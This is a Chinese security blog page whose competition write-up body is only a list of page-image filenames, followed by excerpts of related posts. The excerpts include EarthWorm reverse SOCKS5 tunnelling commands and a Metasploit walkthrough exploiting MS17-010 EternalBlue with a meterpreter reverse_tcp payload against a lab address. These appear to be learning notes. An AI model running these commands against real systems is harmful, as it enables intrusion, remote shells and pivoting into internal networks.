第十九届全国大学生信息安全竞赛暨第三届 “长城杯”网数智安全大赛初赛WP

发表于2025-12-29|更新于2026-01-20|学习笔记

|浏览量:

1767015690-NIT-∠・ω-⌒☆_page-0001

1767015690-NIT-∠・ω-⌒☆_page-0002

1767015690-NIT-∠・ω-⌒☆_page-0003

1767015690-NIT-∠・ω-⌒☆_page-0004

1767015690-NIT-∠・ω-⌒☆_page-0005

1767015690-NIT-∠・ω-⌒☆_page-0006

1767015690-NIT-∠・ω-⌒☆_page-0007

1767015690-NIT-∠・ω-⌒☆_page-0009

1767015690-NIT-∠・ω-⌒☆_page-0010

1767015690-NIT-∠・ω-⌒☆_page-0011

1767015690-NIT-∠・ω-⌒☆_page-0012

1767015690-NIT-∠・ω-⌒☆_page-0013

1767015690-NIT-∠・ω-⌒☆_page-0014

1767015690-NIT-∠・ω-⌒☆_page-0015

1767015690-NIT-∠・ω-⌒☆_page-0016

1767015690-NIT-∠・ω-⌒☆_page-0017

1767015690-NIT-∠・ω-⌒☆_page-0018

文章作者: Benben Dan

文章链接: http://60.204.207.36/2025/12/29/%E7%AC%AC%E5%8D%81%E4%B9%9D%E5%B1%8A%E5%85%A8%E5%9B%BD%E5%A4%A7%E5%AD%A6%E7%94%9F%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E7%AB%9E%E8%B5%9B%E6%9A%A8%E7%AC%AC%E4%B8%89%E5%B1%8A-%E2%80%9C%E9%95%BF%E5%9F%8E%E6%9D%AF%E2%80%9D%E7%BD%91%E6%95%B0%E6%99%BA%E5%AE%89%E5%85%A8%E5%A4%A7%E8%B5%9B%E5%88%9D%E8%B5%9BWP/

版权声明: 本博客所有文章除特别声明外，均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 BenD！

网络安全渗透测试

相关推荐

第二届“Parloo”CTF应急响应挑战赛-学生组（应急响应）

网络安全众测平台全栈开发

网络安全众测平台全栈开发最近把一个面向安全众测、攻防演练和漏洞审核场景的平台整理并开源了。项目地址：https://github.com/benbenbendang/wangluoanquan-zhongce-pingtai 这个项目不是一个简单的“漏洞提交页面”，而是把从选手注册、授权资产查看、漏洞提交、风险申报、申诉处理，到管理员审核、评分、公告发布、模板下载、承诺书归档、积分排行和后台导出的一整套流程做成了线上系统。对我来说，这个项目最大的价值，不只是把页面和接口写出来，而是把真实业务流程完整跑通。一、项目背景在众测和攻防演练场景里，最麻烦的往往不是“发现漏洞”本身，而是后续的流程管理。如果还是靠 Excel、Word、微信群、邮件和人工汇总去处理选手提交的漏洞、风险和申诉，整个过程会非常割裂：资产授权范围不好统一维护漏洞附件和补充材料容易散落审核进度、驳回原因、评分标准不透明风险申报和漏洞审核之间缺少关联管理员需要重复统计、重复导出、重复沟通所以我做这个平台时，目标很明确：把“众测平台”真正做成一个完整的业务系统，而不是单点功能页面。二、整体架...

EarthWorm (EW) 内网穿透工具使用指南

EarthWorm (EW) 使用指南EarthWorm 是一款高性能的轻量级内网穿透工具，支持正向/反向 SOCKS5 代理及多级转发。 1. 基础环境核心程序：单个二进制文件（如 ew_for_Win.exe, ew_for_linux64 等）。核心参数：通过 -s 参数指定链路模式。 2. 常用操作场景场景 A：正向 SOCKS5 代理适用情况：目标机有公网 IP，且防火墙允许外部连接其特定端口。在目标机上开启监听： 123456789101112 ./ew -s ssocksd -l 88881. **攻击机操作**：直接设置浏览器或代理工具（Proxifier）连接 `目标机IP:8888` 即可。### 场景 B：反向 SOCKS5 代理（最常用）**适用情况**：目标机在内网，无法从外部访问，但它可以主动连接外网。1. **在公网 VPS 上监听（转接隧道）：** 将 1080 端口收到的代理请求转发给反连 8888 端口的机器./ew -s rcsocks -l 1080 -e 8888 123452. **在内网目标...

局域网主机扫描

🌐 局域网扫描器 - 开发与使用文档项目地址：https://github.com/benbenbendang/scanner_nmap 1. 项目简介本项目是一个基于 Python 开发的局域网主机扫描工具。它不仅具备强大的网络探测功能，更拥有独特的赛博朋克 (Cyberpunk) 风格图形界面。软件旨在帮助网络管理员或极客用户快速识别当前网段内的存活主机、检测操作系统类型以及开放端口。 2. 功能特性 (Features)🛠 核心功能网卡自动识别：启动时自动读取系统网络接口信息（IP/子网掩码），支持用户下拉选择目标网卡。 ARP 存活扫描：利用 ARP 协议（二层网络）快速、准确地发现同一局域网内的所有在线设备。操作系统指纹识别：通过发送 ICMP 数据包并分析 TTL（生存时间）值，启发式地判断目标是 Windows、Linux/Android 还是网络设备。端口安全检测：对发现的主机进行常用端口（如 21, 22, 80, 445, 3389 等）扫描，评估开放服务情况。多线程处理：扫描过程在独立线程中运行，保证界面流畅不卡顿，并提供实...

记一个台湾同胞的网站漏洞

后续就是看我是大陆人，直接给我否了，然后漏洞就被修复了

MSF获取Windows的shell后

扫描器的使用use auxiliary/scanner/smb/smb_ms17_010 攻击模块的使用下一步操作：发起攻击 (Exploit) 既然扫描器已经告诉你目标是“易受攻击”的，你现在的动作应该是从辅助模块（Scanner）切换到攻击模块（Exploit）。请按照以下顺序输入命令：切换模块： Bash 1use exploit/windows/smb/ms17_010_eternalblue 设置目标 IP： Bash 1set RHOSTS 192.168.20.135 设置攻击载荷（通常默认就是这个，但建议检查一下）： Bash 1set PAYLOAD windows/x64/meterpreter/reverse_tcp 设置你自己的 IP（Kali 的 IP，用于接收反弹回来的 Shell）： Bash 12# 先在另一个终端用 ip addr 确认你的网卡 IPset LHOST [你的Kali的IP] 开火攻击： Bash 1exploit 进入Windows之后的操作 1. 基础环境与权限感知在任何操作...